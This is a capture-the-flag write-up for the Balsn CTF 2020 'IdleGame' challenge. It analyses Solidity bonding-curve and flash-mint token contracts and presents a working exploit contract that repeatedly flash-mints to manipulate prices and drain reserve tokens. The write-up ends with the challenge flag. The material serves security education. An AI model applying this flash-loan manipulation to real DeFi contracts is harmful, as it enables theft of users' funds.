Rating:

IdleGame
============
857 points - 4 Solves

I first started by performing source code review on Tokens.sol. It implements multiple contract definitions such as ERC20 , FlashERC20, and ContinuousToken.

The interesting part here is ContinuousToken, which are tokens that are managed by bonding curve contracts. In short, the prices of such token are calculated continously. Few properties of that are tokens can be minted limitlessly, the buy and sell prices of tokens are dependent on the token minted, and has instant liquidity.

The ContinuousToken creates an object for Bancor Bonding Curve as shown as the line below

solidity
BancorBondingCurve public constant BBC = BancorBondingCurve(0xF88212805fE6e37181DE56440CF350817FF87130);


The contract for BancorBondingCurve is deployed on ropsten on address 0xF88212805fE6e37181DE56440CF350817FF87130. Next thing, I did was to pull off the source code of the uploaded contract file from the ropsten chain. BancorBondingCurve is a mathematical curve which defines the relationship between price and token supply. So, if the number of minted tokens increase, then the price of the token also increases (and vice versa). The BancorBondingCurve contract is essentially formula which manages the price of a ContinousToken. The formula is:


Reserve Ratio = Reserve Token Balance / (Continuous Token Supply x Continuous Token Price)


At this point, I audited the Bancor contract to see if there is an intentional vulnerability being placed in how the mathematical expressions were happening but nothing stood out. I also diffed the said deployed contract with an original BancorBondingCurve (used in multiple real projects) to see if there are any anomalies. But, It was fine. Hence, it was evident that, I should audit the codebase more to see how this ContinuousToken is being used.

Looking at IdleGame.sol , I could see that

solidity
function giveMeMoney() public { // It can provide us 1 BSN
require(balanceOf(msg.sender) == 0, "BalsnToken: you're too greedy");
_mint(msg.sender, 1);


This means that, if the caller contract to the deployed BSN token contract has no BSN coin, then they are gifted 1 BSN coin. But, you cannot mint as much as BSN coins as you want - Which is a catch here.

The challenge deploys Setup contract which does the following operations

solidity

constructor() public {
uint initialValue = 15000000 * (10 ** 18);
BSN = new BalsnToken(initialValue); // // 15,000,000 BSN Cap
IDL = new IdleGame(address(BSN), 999000); // ReserveRatio is 999000
BSN.approve(address(IDL), uint(-1)); // BSN can be used to mint IDL tokens
//uint(-1) is infinity allowance
}


As I mentioned in the comments, The Market Token Cap (Minted) for BSN coins is 15,000,000 BSN Coins. The BSN Tokens can be used to mint IDL Tokens with an infinity allowance. We will come back to buyGamePoints once we analyze IDL contract. The constructor of IdleGame Contract is as follow

solidity
owner = msg.sender; // Deployer is the owner of the token
BSN = BalsnToken(BSNAddr); // IDL can be purchased using BSN
_mint(msg.sender, 0x9453 * scale); // 37971 IDL Tokens
}


Once the IdleGame contract is deployed, it mints 37971 IDL Tokens. Now, we analyze member functions of the contract.

solidity
function buyGamePoints(uint amount) public returns (uint) {
uint bought = _continuousMint(amount); // How much IDL will I get from BSN
BSN.transferFrom(msg.sender, address(this), amount); // BSN coins can be converted to IDL
_mint(msg.sender, bought); // You will get IDL
return bought;
}

function sellGamePoints(uint amount) public returns (uint) { // Accepts Amount in IDL
uint bought = _continuousBurn(amount);
_burn(msg.sender, amount);
BSN.transfer(msg.sender, bought);
return bought;
}


Following are the parameters for the Bancor.
Reserve Ratio = 999000 & Reserve Token Balance = 10 ** 15. Note that BSN is used as a reserve token to purchase IDL token. This looked very familiar to me, because there is also a use of FlashERC20 which is a Flash Token. I instantly thought about Eminence Attack, in which DAI was used as a reserve for EMN token, and EMN token was used as a reserve for eAAVE token. However, it is not exactly similar because we don't have 3 tokens playing there part.

solidity
contract IdleGame is FlashERC20, ContinuousToken


IdleGame inherits from FlashERC20 which is

solidity

interface IBorrower {
function executeOnFlashMint(uint amount) external;
}

contract FlashERC20 is ERC20 {

function flashMint(uint amount) external {
_mint(msg.sender, amount);
IBorrower(msg.sender).executeOnFlashMint(amount);
_burn(msg.sender, amount);
emit FlashMint(msg.sender, amount);
}
}


Flash loans are a recent blockchain smart contract construct that enable the issuance of loans that are only valid within one transaction and must be repaid by the end of that transaction.

There is a good explaination of how this library work: https://docs.google.com/presentation/d/1E3Uuoj4DYEWGWpV2PzY1a8I86nCbgo52xL7xhNvNVj8/edit#slide=id.p

As per the documentation, we can issue as many IDL as we want throughout one atomic transaction until we return it back by the end of the flashMint call. That being said, we can write our own logic on the caller contract using executeOnFlashMint function.

Hence, we can perform a Flash Loan Attack to manipulate the price in the market. As coins are burned and not reserved, this opens a market loophole to perform this attack. The way we can walk out with profit is that we buy as much as possible IDL tokens (calculated by ContinuousMint) using our gifted 1 BSN token after taking an enormous amount of IDL flash loan which can cause a rift (pump) in IDL price. The rift in IDL price happens because the Bancor Curve will temporarily messed up by getting a huge IDL mint (pump). This means that after we withdraw the converted IDL coins from the deposited 1 BSN Token in our first call to buyGamePoints , we can end the flash loan by repaying the same huge amount loan back. That will cause the burn of the falsely inflated minted coins prior. Once, the flash loan calls finishes, the return via sellGamePoints will yeild more BSN tokens for the previously purchased IDL tokens.

A visual attack looks as following


giveMoney() will send pow(10,-18) BSN coins
FlashERC20 Mint
buyGamePoints() with pow(10, -18) BSN coins
FlashERC20 Burn
sellGamePoints() and you will receive BSN coins a bit more
FlashERC20 Mint
buyGamePoints() with all the BSN coins
FlashERC20 Burn
sellGamePoints() and you will receive BSN coins a bit more
FlashERC20 Mint
buyGamePoints() with all the BSN coins
FlashERC20 Burn
sellGamePoints() and you will receive BSN coins a bit more
FlashERC20 Mint
buyGamePoints() with all the BSN coins
FlashERC20 Burn
giveMeFlag()


This interplay should be done all atomically in one transaction. I wrote an exploit code to perform it.

solidity
contract Exploit {

uint public count;
uint myidl;
uint boo;

function pwn() public {
bsn.giveMeMoney();
idl.flashMint(99056419041694676677800000000000000002);
boo = idl.sellGamePoints(myidl);
idl.flashMint(99056419041694676677800000000000000002);
boo = idl.sellGamePoints(myidl);
idl.flashMint(99056419041694676677800000000000000002);
boo = idl.sellGamePoints(myidl);
idl.flashMint(99056419041694676677800000000000000002);
idl.giveMeFlag();

}

function executeOnFlashMint(uint amount) external {
if (count == 0){
myidl = idl.buyGamePoints(1); // or 10^-18 like 0.000000000000000001
count = count+1;
}else if (count == 1){
count = count+1;
}else if (count ==2){
count = count+1;
}else if (count ==3){
count = count+1;
}
}

}


The block for transaction for this attack: https://ropsten.etherscan.io/tx/0x129a5bffa0bf2a4bd5a956e919a509b8f9b55cabc3d6b10742326ad08650fdba

I then used the netcat service to get the flag once I noticed that tx was successful. All in all it was a really good challenge and always awesome to see Blockchain challenges in quality CTFs. Thanks to Balsn CTF authors.

##### Flag: BALSN{Arb1tr4ge_wi7h_Fl45hMin7}

Original writeup (https://github.com/perfectblue/ctf-writeups/tree/master/2020/BalsnCTF/IdleGame).